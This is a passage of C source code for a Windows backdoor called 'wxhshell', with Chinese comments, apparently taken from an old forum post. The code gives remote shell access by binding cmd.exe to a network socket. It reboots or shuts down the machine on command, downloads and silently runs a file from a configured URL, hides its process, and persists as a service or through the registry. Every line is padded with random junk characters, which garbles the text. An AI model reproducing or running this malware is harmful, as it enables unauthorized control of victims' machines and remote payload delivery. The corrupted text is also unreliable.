  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LLCMp3qBz  
  } ~Sh8. ++}  
  else { Xji<oih  
'9*(4/,UJJ  
    switch(cmd[0]) { tKu'Q;J  
  <$/'iRtRzW  
  // 帮助 r65/O5F  
  case '?': { d/N&bTg:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h9$Ov`N(%  
    break; 3y<;fdS7  
  } 6f(K'v  
  // 安装 xV}-[W5sr'  
  case 'i': { 6o!+E@V b  
    if(Install()) ?o?~Df&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1yXOy^2  
    else Fn1|Wt*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J1KV?aR  
    break; \= =rdW-  
    } p78X,44xg  
  // 卸载 *+rO3% ;t  
  case 'r': { ;(5b5PA  
    if(Uninstall()) CWHTDao  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '+JU(x{CCl  
    else M|6 l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B^Fe.ty  
    break; 1>|2B&_^  
    } 5Z@OgR  
  // 显示 wxhshell 所在路径 4At{(fw W  
  case 'p': { |Q[[WHqj2f  
    char svExeFile[MAX_PATH]; t&*X~(Yb!  
    strcpy(svExeFile,"\n\r"); @Ge\odfF:  
      strcat(svExeFile,ExeFile); /J9|.];%r  
        send(wsh,svExeFile,strlen(svExeFile),0); h0_od/D1r  
    break; oF7o"NHaWa  
    } ,* !HN &  
  // 重启 _vr> -:G  
  case 'b': { ;Hk{bz(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y|stxeOC  
    if(Boot(REBOOT)) %a$ l%8j&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DSf  
    else { [Wf%iwB  
    closesocket(wsh); .?|pv}V  
    ExitThread(0); !,WO]O v  
    } gn4+$f~w  
    break; u?,M`w0'  
    } OTwIR<_B+  
  // 关机 C3>&O?7J*7  
  case 'd': { 9=YX9nP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FX}kH]  
    if(Boot(SHUTDOWN)) =Kqb V{!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <#HQU<  
    else { ROqz$yY  
    closesocket(wsh); VI_8r5o  
    ExitThread(0);  <m7m  
    } }g&A=u_2  
    break; sbqAjm}  
    } J$"3w,O6+U  
  // 获取shell l/ufu[x!a  
  case 's': { f2ea|l  
    CmdShell(wsh); )"KKBil0  
    closesocket(wsh); p(vmMWR!  
    ExitThread(0); &![3{G"+>l  
    break; ^V,?n@c!  
  } QPr29  
  // 退出 v{tw;Z#  
  case 'x': { awu18(;J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2nz^%pLT  
    CloseIt(wsh); 5\S s`#g  
    break; ^6g^ Q*"  
    } &puPn:_  
  // 离开 Q &~|P}  
  case 'q': { {Qv Whf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pg0Sq9qCN  
    closesocket(wsh); }3HN $Fwo  
    WSACleanup(); Wl?0|{W  
    exit(1); |YEq<wbQ  
    break; xNAX)v3Z  
        } aq,Ab~V]  
  } f(SK[+aqW  
  } g  Z!q  
x#)CH}J  
  // 提示信息 m!#'4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f N_8HP6&  
} rD_\NgVAs  
  } 3:wN^!A}ve  
C6` Tck!  
  return; 3mP251"dIW  
} 2J;_9 g&M  
,9~=yC  
// shell模块句柄 e2F{}N  
int CmdShell(SOCKET sock) v0q(k;Ya  
{ 6~b)Hc/  
STARTUPINFO si; dQ#$(<v[  
ZeroMemory(&si,sizeof(si)); j;TXZ`|(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4 x|yzUx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L*(Sh2=_  
PROCESS_INFORMATION ProcessInfo; H;w8[ImK  
char cmdline[]="cmd"; ?q{HS&k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); % H/V iC  
  return 0; u7(<YSOs  
} ]Y;5U  
-F7P$/9  
// 自身启动模式 $Sls9H+.  
int StartFromService(void) yor6h@F1  
{ 3%~c\naD?O  
typedef struct O n/q&h5  
{ &) qs0  
  DWORD ExitStatus; 6Cj$x.-K  
  DWORD PebBaseAddress; m:-=K  
  DWORD AffinityMask; ~CX1WPMI:  
  DWORD BasePriority; AJYZ`  
  ULONG UniqueProcessId; }t%2giJ   
  ULONG InheritedFromUniqueProcessId; 4"^v]&I  
}   PROCESS_BASIC_INFORMATION; }j`#s  
-4Hf5!  
PROCNTQSIP NtQueryInformationProcess; ZVIlVuZ}  
y?P4EVknM3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WzhY4"p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _ ci8!PP  
g>*P}r~;^b  
  HANDLE             hProcess; :q34KP  
  PROCESS_BASIC_INFORMATION pbi; WJU[+|J  
JavSR1_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IRG-H!FV  
  if(NULL == hInst ) return 0; A<p6]#t#X)  
qxbGUyH==  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T/$hN hQK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R1?LB"aN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HRg< f= oz  
>xCc#]v&  
  if (!NtQueryInformationProcess) return 0; AFdBf6/" i  
+yd{-iH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B%(-UTQf  
  if(!hProcess) return 0; | Kw}S/F  
 ]j:aO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  Uys[0n  
~5:-;ZbZ  
  CloseHandle(hProcess); O>,Rsj!e  
$N/"c$50,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3)*Twqt  
if(hProcess==NULL) return 0; 3[Z7bhpV  
_Gtq]`y  
HMODULE hMod; UF PSQ  
char procName[255]; $s<bKju  
unsigned long cbNeeded; AGMrBd|J{  
jM[]Uh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uRnSwJ"hE  
_>u0vGF-  
  CloseHandle(hProcess); 6b-E|;"]:^  
"w&G1kw5I  
if(strstr(procName,"services")) return 1; // 以服务启动 +`&-xq76  
?4sF:Y+\  
  return 0; // 注册表启动 pxV@fH+`  
} Z(c2F]  
~{$5JIpCm  
// 主模块 }J+ \o~  
int StartWxhshell(LPSTR lpCmdLine) cyXnZs ?|  
{ OM (D@up  
  SOCKET wsl; f9a_:]F  
BOOL val=TRUE; ><w=  
  int port=0; T:0#se  
  struct sockaddr_in door; F.$NYr/|y  
cr>"LAi  
  if(wscfg.ws_autoins) Install(); R4 AKp1Y  
Sp\ 7  
port=atoi(lpCmdLine); {GhM,-%e  
d: LP8  
if(port<=0) port=wscfg.ws_port; :<PwG]LO  
eUEO~M2&U{  
  WSADATA data; !g7bkA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0oPcZ""X]  
ZU K'z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E-i <^&E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |m>{< :  
  door.sin_family = AF_INET; 0u=FlQ }h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k|; [)gE  
  door.sin_port = htons(port); h ngdeGa  
8omk4 ;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &uLC{Ik}  
closesocket(wsl); dS)c~:&+  
return 1; {wCzm  
} !~QmY,R  
hx:"'m5  
  if(listen(wsl,2) == INVALID_SOCKET) { aqoxj[V^3L  
closesocket(wsl); {hi'LA-4@  
return 1; |YWX.-aeo  
} [fIElH<  
  Wxhshell(wsl); g3kF&+2i  
  WSACleanup(); KiYz]IM$4  
m$H(l4wB>  
return 0; ]}A3Pm- t*  
ES9|eo6  
} W?2Z31;7  
/2fQM_ ,P  
// 以NT服务方式启动 MB!$s_~o#L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <,huajQs  
{ ,%U'>F?  
DWORD   status = 0; ,_!MI+o0  
  DWORD   specificError = 0xfffffff; 3-U@==:T  
sHf.xc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e!p?~70  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HK4 *+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X.FFBKjf[e  
  serviceStatus.dwWin32ExitCode     = 0; !fK9YW(Im  
  serviceStatus.dwServiceSpecificExitCode = 0; gvy c(d  
  serviceStatus.dwCheckPoint       = 0; xy Pz_9  
  serviceStatus.dwWaitHint       = 0; C?fa-i0l^  
xSL%1>MrN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HN~  
  if (hServiceStatusHandle==0) return; &'A8R;b}-?  
+X4/l"|  
status = GetLastError(); v|#}LQZ  
  if (status!=NO_ERROR) obtXtqew  
{ xq\A TON  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f ,WAl\  
    serviceStatus.dwCheckPoint       = 0; Oq4J$/%  
    serviceStatus.dwWaitHint       = 0; nEbJ,#>Z  
    serviceStatus.dwWin32ExitCode     = status; ylPDM7Ka  
    serviceStatus.dwServiceSpecificExitCode = specificError; _H)>U[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4@1C$|k  
    return; QTbv3#  
  } 9,>u,  
q<>aZ|r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h+d3JM  
  serviceStatus.dwCheckPoint       = 0; A-5'OI  
  serviceStatus.dwWaitHint       = 0; * v W#XDx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yp\s Jc`  
} Y/Q/4+  
g!.k>  
// 处理NT服务事件,比如:启动、停止 #b5V/)K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~E*`+kD  
{ ,{VC(/d  
switch(fdwControl) I+g[ p  
{ `&!J6)OJ  
case SERVICE_CONTROL_STOP: JsyLWv@6xa  
  serviceStatus.dwWin32ExitCode = 0; %:vMD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QX >Pni  
  serviceStatus.dwCheckPoint   = 0; mQ qv{1  
  serviceStatus.dwWaitHint     = 0; u!DAeE  
  { 6%t>T~x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eZk4 $y  
  } 2SlOqH1  
  return; Z0Df~ @  
case SERVICE_CONTROL_PAUSE: 2m0laJ3p9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I'>r  
  break;  g1B[RSWv  
case SERVICE_CONTROL_CONTINUE: '/ v@q]!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @WfX{485  
  break; 1GI/gc\  
case SERVICE_CONTROL_INTERROGATE:  k.("<)  
  break; Qz9*o  
}; fsH =2p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z-;2)RkV2  
} c]!Yb-  
<yz&> +9,  
// 标准应用程序主函数 +c-?1j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B?p18u$i#l  
{ Yk!TQY4  
/ +9o?Kxya  
// 获取操作系统版本 ouf91<n  
OsIsNt=GetOsVer(); 64w4i)?eM[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); & U6bOH%P  
J8:f9a:|M  
  // 从命令行安装 wR*>9LjeG  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6im!v<1Qx  
>YuiCf?c7  
  // 下载执行文件 ^oT!%"\  
if(wscfg.ws_downexe) { C)8>_PY[M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [6{o13mCWE  
  WinExec(wscfg.ws_filenam,SW_HIDE); r~U/t~V=D  
} Mz#<Vm4  
+?[,{WtV  
if(!OsIsNt) { fBRU4q=^T  
// 如果时win9x,隐藏进程并且设置为注册表启动 B`i 5lD  
HideProc(); ?O.1HEr  
StartWxhshell(lpCmdLine); k7\ ,N o}  
} @$ggPrs  
else AHl1{* [  
  if(StartFromService()) [d}AlG!  
  // 以服务方式启动 7GVI={ b  
  StartServiceCtrlDispatcher(DispatchTable); Z[pMlg6Z  
else /Xo8 kC  
  // 普通方式启动 u[;,~eB%w  
  StartWxhshell(lpCmdLine); ]> 36{k]&  
ic]b"ItD  
return 0; 0}d^UGD  
}
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只看该作者 1 发表于: 2006-10-10
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